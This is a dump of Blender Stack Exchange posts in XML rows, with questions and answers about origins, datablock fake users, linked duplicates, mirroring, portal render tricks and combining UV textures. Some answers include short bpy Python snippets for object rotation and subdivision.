  <row Id="32652" PostTypeId="2" ParentId="32648" CreationDate="2015-06-18T17:32:14.697" Score="1" Body="&lt;p&gt;Choose the left corner of the plane that you want to be the origin point (0,0,0), and select it. Now snap in edit mode, snap &lt;kbd&gt;SHFT&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; the cursor to selected. and set the origin &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;Shft&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; to the 3D cursor. The origin point is now at the corner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to go to edit mode, select all of the vertices, and move them so that the left corner is over the origin of the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case it would probably be wise to apply your locations with &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to apply your windmills in the desired position, in the edit mode, properties shelf (exposed by pressing &lt;kbd&gt;N&lt;/kbd&gt; under &quot;3D cursor&quot; enter the location for the new windmill in the spaces provided. When you go to object mode to add the new windmill object, it will be added at the 3D cursor. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-18T17:48:07.090" LastActivityDate="2015-06-18T17:48:07.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32653" PostTypeId="2" ParentId="32649" CreationDate="2015-06-18T17:34:19.663" Score="4" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix, Vector&#xA;&#xA;def scale_from_vector(v):&#xA;    mat = Matrix.Identity(4)&#xA;    for i in range(3):&#xA;        mat[i][i] = v[i]&#xA;    return mat    &#xA;&#xA;o1 = bpy.data.objects['Object.001']&#xA;o2 = bpy.data.objects['Object.002']&#xA;&#xA;loc_src, rot_src, scale_src = o1.matrix_world.decompose()&#xA;loc_dst, rot_dst, scale_dst = o2.matrix_world.decompose()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apply the rotation of object &lt;code&gt;o1&lt;/code&gt; to object &lt;code&gt;o2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o2.matrix_world = (&#xA;    Matrix.Translation(loc_dst) * &#xA;    rot_src.to_matrix().to_4x4() * &#xA;    scale_from_vector(scale_dst)&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only want to align an axis use the following code instead: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#only align z-axis&#xA;axis = Vector((0.0, 0.0, 1.0))&#xA;z1 = rot_src * axis&#xA;z2 = rot_dst * axis&#xA;q = z2.rotation_difference(z1)&#xA;&#xA;o2.matrix_world = (&#xA;    Matrix.Translation(loc_dst) *&#xA;    (q*rot_dst).to_matrix().to_4x4() *&#xA;    scale_from_vector(scale_dst)&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-06-19T11:15:24.230" LastActivityDate="2015-06-19T11:15:24.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32655" PostTypeId="2" ParentId="32619" CreationDate="2015-06-18T17:55:33.767" Score="2" Body="&lt;p&gt;As the other answers mention, you are subidiving a progressively subdivided mesh over and over, which makes polycount grow exponentially. If you want to subdivide 20 times, the proper code would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.subdivide(number_cuts=20)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-06-18T17:55:33.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32656" PostTypeId="2" ParentId="32523" CreationDate="2015-06-18T18:49:42.743" Score="3" Body="&lt;p&gt;Thanks to CoDEmanX, I have the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if not context.space_data.region_quadviews:&#xA;        rv3d = bpy.context.space_data.region_3d&#xA;    else:&#xA;        # verify area &#xA;        if context.area.type != 'VIEW_3D' or context.space_data.type != 'VIEW_3D':&#xA;            return&#xA;        i = -1&#xA;        for region in context.area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                i += 1&#xA;                if context.region.id == region.id:&#xA;                    break&#xA;        else:&#xA;            return&#xA;&#xA;        rv3d = context.space_data.region_quadviews[i]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2015-06-18T18:49:42.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32657" PostTypeId="1" CreationDate="2015-06-18T18:53:06.627" Score="7" ViewCount="3185" Body="&lt;p&gt;First, I know that clicking the '+' button on the right side of the material list makes an empty material slot, and after clicking the 'New'-button it adds a new material. But isn't it the same as just only clicking the 'New'-button (without clicking the '+' button first = empty slot)?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ynhRE.png&quot; alt=&quot;new material button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I know that clicking the '+' button at the bottom next to the 'F'-button copies this material and makes it as a new node. Activating the 'F'-button will not delete unused material after closing the file.&lt;br&gt;&#xA;What exactly does the '2' button do (when 'F' button activated)? Is it the same as just clicking the '+' button (at the bottom, next to 'F' button)? So what exactly does the 'F' button and '2' button do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wr2ZD.png&quot; alt=&quot;material data block buttons&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="2217" LastEditDate="2015-06-18T22:24:25.697" LastActivityDate="2015-11-18T17:07:14.893" Title="What does the 'F' button and '2' button do (materials tab)?" Tags="&lt;materials&gt;&lt;interface&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32658" PostTypeId="2" ParentId="32657" CreationDate="2015-06-18T19:02:52.573" Score="3" Body="&lt;h2&gt;Datablocks&lt;/h2&gt;&#xA;&lt;p&gt;You will see these buttons on any datablock slot.  A datablock is simply a set of parameters defining pretty much anything: materials, particle systems, textuers, sculpting brushes, node groups, even mesh data is stored in datablocks.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Fake users&lt;/h2&gt;&#xA;&lt;p&gt;Clicking the &lt;kbd&gt;F&lt;/kbd&gt; button will save the datablock (in this case the datablock is a material) when Blender closes, even if there are no users of the datablock.  (As David said in &lt;a href=&quot;https://blender.stackexchange.com/a/32660/5705&quot;&gt;his answer&lt;/a&gt; &amp;quot;F&amp;quot; stands for fake user.)  If a datablock has no users (and no fake user) when Blender is closed, the datablock will be forgotten forever.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Single-user copys&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;kbd&gt;2&lt;/kbd&gt; means that there are currently 2 users of the datablock (including the active object).  Clicking on it will create a single-user copy, i.e. make a duplicate of the datablock and assign the duplicate to the active object in the active slot.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-11-18T17:07:14.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32659" PostTypeId="1" CreationDate="2015-06-18T19:06:10.447" Score="5" ViewCount="19671" Body="&lt;p&gt;Does X-Axis Mirror work on a mesh?  I applied X-Axis Mirror to a set of bones and it worked but not on the mesh, I tried to mirror the mesh using the X-Axis Mirror option but it doesn't mirror anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;https://drive.google.com/file/d/0BwnCnOOEcD5qOHRSbVVqQ0lOdk0/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;.Blend&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15004" LastEditorUserId="599" LastEditDate="2015-06-18T21:02:09.917" LastActivityDate="2015-08-18T01:19:46.803" Title="Why is X mirror not working on a mesh?" Tags="&lt;mesh&gt;&lt;editing&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32660" PostTypeId="2" ParentId="32657" CreationDate="2015-06-18T19:09:07.737" Score="3" Body="&lt;p&gt;First the &quot;&lt;em&gt;+&lt;/em&gt;&quot; list buttons to add or remove a material slot, are there for when you have more then one material on the object. There is no way to add more then one new material with the large &quot;&lt;em&gt;New&lt;/em&gt;&quot; button, if there is not already a material slot. (That is what the &quot;&lt;em&gt;+&lt;/em&gt;&quot; button does.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;&lt;em&gt;F&lt;/em&gt;&quot; stands for Fake user, and as you know, when active will not be deleted.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the &quot;&lt;em&gt;F&lt;/em&gt;&quot; is active, the number of users for that data block is displayed on the left of the &quot;&lt;em&gt;F&lt;/em&gt;&quot;. Clicking the number (in your example a 2) does the exact same thing as clicking on the pulse button on the right side of the &quot;&lt;em&gt;F&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-06-18T19:09:07.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32662" PostTypeId="2" ParentId="32657" CreationDate="2015-06-18T19:41:17.343" Score="14" Body="&lt;h2&gt;Some Theory&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To understand how these buttons work, you first need to understand the concept of datablocks and users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything in Blender is a datablock. An object is a datablock. A material is a datablock. A particle system is a datablock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user in blender, is something that &lt;em&gt;uses&lt;/em&gt; a datablock. If you have a material, and you apply it to an object, that object's datablock becomes a user of that material. If you have a particle system applied to an object, that object's datablock becomes a user of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A datablock can have an infinite number of users. For example, there is no limit to how many times a material or a particle system can be applied to another object. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blenders Garbage Disposal System&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Before we can actually get into what this button does, I need to explain Blenders garbage disposal system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has a really neat, but somewhat annoying method of getting rid of datablocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender never deletes datablocks unless they have not users, and then, only when it's closed. So if you have a material that not objects use, and you close Blender, you lose that material.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Fake User Button &quot;F&quot;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The way to stop this from happening is to use the &quot;F&quot; Button. The &quot;F&quot; stands for Fake User. This is exactly what it sounds like. It creates a fake user, so that the datablock always has at least one user, and doesn't get deleted by Blender when Blender is closed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The &quot;Number&quot; Button&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This also ties in with the whole idea of users. Basically, this displays the number of users this datablock has. If you click on it, it simply creates a duplicate of it, with 1 user (the datablock it's applied to).&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-11-18T16:14:28.357" LastActivityDate="2015-11-18T16:14:28.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32663" PostTypeId="1" CreationDate="2015-06-18T19:43:53.610" Score="2" ViewCount="2600" Body="&lt;p&gt;I have a student who is working on a project, but is using other source to complete it. I am not an expert when it comes to blender so I am not sure how to answer his questions. I was wondering if anyone would know some of these answers. I copied his email to me with the images he attached. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Alright, so here's the screen shot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gYATf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The things are tinted blue (fence and roof are odd exceptions) from the blue sunlight. I don't know how to un-tint it. The sun is blue because a blender video said it would make shadows more realistic. That random white line is a plane that somehow got in there and I deleted it after I took the screen shot. I don't know why the house is green-- I'm pretty sure I made it yellow so that's a problem. I think it's green because it's reflecting the grass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded a bunch of textures for the wood, garage door, metal, and roof. I also followed a youtube video on how to make grass that was awesome so I think I learned a bunch from that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&#xA;How to make the textures apply properly, edit them, and not be diagonal?&#xA;How to prevent structures from reflecting so much of the light around them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a third question as well: Anyway I can connect the gaps between these two planes? I want one of them to be the road.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/itflj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2015-07-18T23:37:33.983" Title="How can these textures get fixed?" Tags="&lt;texturing&gt;&lt;light&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32664" PostTypeId="1" CreationDate="2015-06-18T19:52:07.867" Score="4" ViewCount="477" Body="&lt;p&gt;UPDATE: I noticed during the animation the curve the armature is following stretches out and although is still attached to its origin point keeps falling. Is there a way to keep the curve from stretching so much?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working on a model that uses a softbody on a curve that controls bones on an armature (like in a tail.) I got everything to work except when I run the animation the braid does not collide with the clothing on the mesh (no clothing modifier is applied, the dress is controlled by the armature). In fact, the settings for the soft body act differently once they were parented to the rig. (on previous tests I did get this to function.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in the attached picture that the braid is disappearing into the clothing. I tried putting various collision objects in front of it but nothing responded, which leads me to believe it is a problem with the braid&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zWUpF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the .blend file here. &lt;a href=&quot;https://drive.google.com/file/d/0B8yH3EeGiUo4bkxmV2kzMkZvazg/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B8yH3EeGiUo4bkxmV2kzMkZvazg/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate any advice, I have been working on this for days!&lt;/p&gt;&#xA;" OwnerUserId="15088" LastEditorUserId="47" LastEditDate="2015-06-19T07:36:28.230" LastActivityDate="2015-06-19T07:36:28.230" Title="Braid not colliding with clothing (Curve Problem?)" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32665" PostTypeId="1" CreationDate="2015-06-18T19:58:07.883" Score="4" ViewCount="8022" Body="&lt;p&gt;As a follow up of my question &lt;a href=&quot;https://blender.stackexchange.com/questions/32657/what-do-f-button-and-2-button-do-materials-tab/32662#32662&quot;&gt;What does the &amp;#39;F&amp;#39; button and &amp;#39;2&amp;#39; button do (materials tab)?&lt;/a&gt;, I have another question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I added an object mesh and applied a material, and I added another mesh, not duplicate but with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;, and choose this same material than it is added as a new user (checked by press the 'F'-button and look at the number next to it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I duplicate linked an object by &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; their material data are linked, but this duplicated linked object mesh is not added as a new user (checked by press the 'F'-button and look at the number next to it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I change the viewport color of the material then the added objects meshes (with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) &lt;strong&gt;and&lt;/strong&gt; the duplicate linked object meshes (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) do change their viewport color. So are material from added objects linked different then the material from duplicate linked objects?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-06-18T23:10:33.500" Title="What is the difference between duplicating and instancing an object, in regards to the materials they point to?" Tags="&lt;materials&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32667" PostTypeId="2" ParentId="32665" CreationDate="2015-06-18T20:11:12.110" Score="5" Body="&lt;p&gt;By default materials are linked to the object data. Hence when you instance the object data you are not duplicating the material, or the users of the material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; an object, you are keeping the same object data.&lt;br&gt;&#xA;If you look at the &lt;em&gt;Data&lt;/em&gt; tab of the properties window for any linked duplicate object, you will see that the &lt;em&gt;Mesh Data&lt;/em&gt; has the number of users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material still only has one user because part of the object data &lt;em&gt;is&lt;/em&gt; the materials.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxaQ7.png&quot; alt=&quot;material link button&quot;&gt;&lt;br&gt;&#xA;However if the material link is set to &quot;&lt;em&gt;Object&lt;/em&gt;&quot; then &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; duplicating an object will increase the user count for the material.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-06-18T20:19:08.703" LastActivityDate="2015-06-18T20:19:08.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32668" PostTypeId="1" AcceptedAnswerId="32672" CreationDate="2015-06-18T20:36:30.263" Score="7" ViewCount="2499" Body="&lt;p&gt;I'm planning an animation in Blender to be released on my birthday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the scenes features something coming out of... let's call it 'a gap in reality.' It's a humanoid shape, and it's curved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I wonder... Is there any way to make a &quot;portal&quot; object that can show an entirely different texture on the inside, or even something semi-dynamic as this Minecraft redstone hax here: &lt;a href=&quot;https://youtu.be/xewQL6CkMWI&quot; rel=&quot;noreferrer&quot;&gt;https://youtu.be/xewQL6CkMWI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for an object to create the illusion of another dimension when looked into, but if viewed from the side, seem perfectly normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Nefer. (Best answer gets to be put in the credits!) &lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="241" LastEditDate="2015-06-18T21:15:00.590" LastActivityDate="2019-12-15T23:08:11.417" Title="How can I create a portal?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32669" PostTypeId="2" ParentId="32665" CreationDate="2015-06-18T20:50:28.570" Score="4" Body="&lt;p&gt;The answers by David and TARDIS Maker demonstrate an understanding of the mechanisms in play, but don't use exactly the jargon I would prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use &lt;kbd&gt;Alt-d&lt;/kbd&gt; to duplicate an object, you are creating a new Object datablock (which live in bpy.data.objects[]) but that new object points at the SAME Mesh datablock (from bpy.data.meshes[]) as the original.  That mesh now has two users:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FlofI.png&quot; alt=&quot;two objects share a mesh datablock&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to modify that shared mesh then both objects would be affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That single mesh datablock points at the material datablock, so the material datablock has only one user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh datablock is what David refers to as &quot;object data&quot;, because in the python API it is accessible as &lt;code&gt;obj.data&lt;/code&gt;.  There are a couple of other kinds of datablocks that can be object data such as curves (text and bezier), lamps, armatures, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add a new cube object without duplicating it comes with a brand new mesh datablock different than the other ones in the scene, and when you assign the material datablock to that new cube's mesh datablock the material now has two users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David also did a good job pointing out the per-object materials option which is a useful technique.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-06-18T20:55:36.980" LastActivityDate="2015-06-18T20:55:36.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32670" PostTypeId="2" ParentId="32659" CreationDate="2015-06-18T20:59:23.270" Score="3" Body="&lt;p&gt;This is because your mesh is not symmetrical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;X mirror&lt;/em&gt; looks for a corresponding vertex on the opposite side of the object's origin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MH2kI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sup&gt;Grabbing the vertex at &lt;code&gt;1&lt;/code&gt; will look for a vertex at &lt;code&gt;2&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your mesh is not symmetrical, chances are there is no vertex at &lt;code&gt;2&lt;/code&gt;. If there's no corresponding vertex, then X mirror can't do anything.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-18T20:59:23.270" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32671" PostTypeId="2" ParentId="13920" CreationDate="2015-06-18T21:00:56.973" Score="1" Body="&lt;p&gt;It is possible that the objects in the source library &lt;code&gt;.blend&lt;/code&gt; file have their mesh origins &quot;outside&quot; the mesh geometry.  If this is the case, you might want to use &lt;kbd&gt;shift&lt;/kbd&gt;-&lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;alt&lt;/kbd&gt;-&lt;kbd&gt;c&lt;/kbd&gt; to set Origin to Geometry (you will have to do this while editing the source &lt;code&gt;.blend&lt;/code&gt;).  Or if you want better control over the new origin, set the 3D cursor first, and then use the same menu to set Origin to 3D Cursor.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="15795" LastEditDate="2016-12-12T01:25:53.160" LastActivityDate="2016-12-12T01:25:53.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32672" PostTypeId="2" ParentId="32668" CreationDate="2015-06-18T21:02:42.600" Score="8" Body="&lt;p&gt;Here's a example I made a long time ago using the same techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Krn7CrYg4h8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=Krn7CrYg4h8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done easily with some render layer trickery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start out by putting both of your scenes on two separate layers, and align everything so that in your first scene, the opening into the next scene is in the same place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, create an object on a trash layer, and shape it in the inside of your &quot;portal&quot;. Then, in your renderlayer settings, in the mask group, select the layer you put your &quot;portal mask&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, on your first layer, using the exclude group, exclude the layer with your first enviroment in it, and then do the oposite for the other one. This is done so that lighting and shadows from one enviroment, doesn't transfer over to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than, if your camera crosses into the other world, you need to stop the first one from rendering. This can be done by animating the checkbox next to the name of the layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you render everything out, you can paste the two scene together using an alpha over node in the compositor.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="30849" LastEditDate="2019-12-15T23:08:11.417" LastActivityDate="2019-12-15T23:08:11.417" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32673" PostTypeId="2" ParentId="32663" CreationDate="2015-06-18T21:31:09.647" Score="0" Body="&lt;p&gt;The diagonal weirdness in the textures is probably because the UV map was not unwrapped well.  My first instinct is to go into edit mode and &lt;kbd&gt;u&lt;/kbd&gt; to unwrap : Follow active quads.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-18T21:31:09.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32675" PostTypeId="1" CreationDate="2015-06-18T22:33:00.640" Score="7" ViewCount="13958" Body="&lt;p&gt;I want to subdivide a mesh so that it won't become all round, but I also don't want to apply a subdivision. I am open to all ideas. Is there any way to subdivide part of a mesh, and keep the hard edges?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="2217" LastEditDate="2015-12-30T17:37:10.413" LastActivityDate="2015-12-30T17:37:10.413" Title="How to subdivide part of mesh but not apply the modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32676" PostTypeId="2" ParentId="32675" CreationDate="2015-06-18T22:38:05.113" Score="0" Body="&lt;p&gt;You can select the parts of the mesh you want to subdivide in edit mode. Then use the &lt;em&gt;subdivide&lt;/em&gt; tool from the tools panel, or hit &lt;code&gt;W&lt;/code&gt; to find it in the specials menu.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-06-18T22:38:05.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32677" PostTypeId="1" AcceptedAnswerId="32682" CreationDate="2015-06-19T02:05:06.400" Score="13" ViewCount="46989" Body="&lt;p&gt;After applying to a small studio and making a model of an axe with two pieces which meant separate UV maps. After submitting the model and textures, I was told that both the blade and handle of the Axe should be in one texture. I don't really know how to do this in Blender, so any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14160" LastEditorUserId="3401" LastEditDate="2015-06-19T03:50:46.443" LastActivityDate="2021-04-19T10:38:35.560" Title="How to combine two different textures into one" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="2" CommentCount="15" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32678" PostTypeId="2" ParentId="32675" CreationDate="2015-06-19T02:25:59.530" Score="1" Body="&lt;p&gt;There are almost as many ways of subdividing mesh parts as there are mesh parts to be subdivided. The almost is because you can't subdivide a vertex. One way is to select one or more individual edges, and subdivide the edges. YOu can select a loop of edges (an edge loop) or planes, and subdivide the planes. If the set of planes selected contains one or more that are not quadrangles, however, you may not be able to cut through the non-quad. You can use a loop cut, activated by pressing the &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; key combination to cut edges around a column, or around an island. And there are at least two (there may be more; I stopped looking at two) tutorials on Youtube at [&lt;a href=&quot;https://www.youtube.com/watch?v=Fitq_YyJvk0]&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=Fitq_YyJvk0]&lt;/a&gt; and at [&lt;a href=&quot;https://www.youtube.com/watch?v=8dhsxV6wxOc]&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=8dhsxV6wxOc]&lt;/a&gt; that might give you more ideas..&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-19T02:25:59.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32679" PostTypeId="2" ParentId="32677" CreationDate="2015-06-19T02:56:00.107" Score="2" Body="&lt;p&gt;Take your two textures, and combine them side by side in your image editor (such as photoshop).&lt;br&gt;&#xA;It will make reassigning the UVs easier if the two images are the same size, and the new image is simply double the width (or height).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender change the texture image on both the handle and the axe.&lt;br&gt;&#xA;You can do that by opening the properties region &lt;kbd&gt;N&lt;/kbd&gt; in the &lt;em&gt;Image Editor&lt;/em&gt; and changing the source of the image.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Y573W.png&quot; alt=&quot;image source&quot;&gt;&lt;br&gt;&#xA;You will have to adjust the position of the UVs (because you changed the size and shape of the image texture.) If your new image is double the width of the old imge, select all the UVs and scale along the X axis by &lt;code&gt;.5&lt;/code&gt;.   (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; &lt;code&gt;.5&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Last&lt;/strong&gt; join your two objects together &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. (If you join them before changing the UVs and texture you will be creating more work for yourself.)&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-06-19T03:17:52.013" LastActivityDate="2015-06-19T03:17:52.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
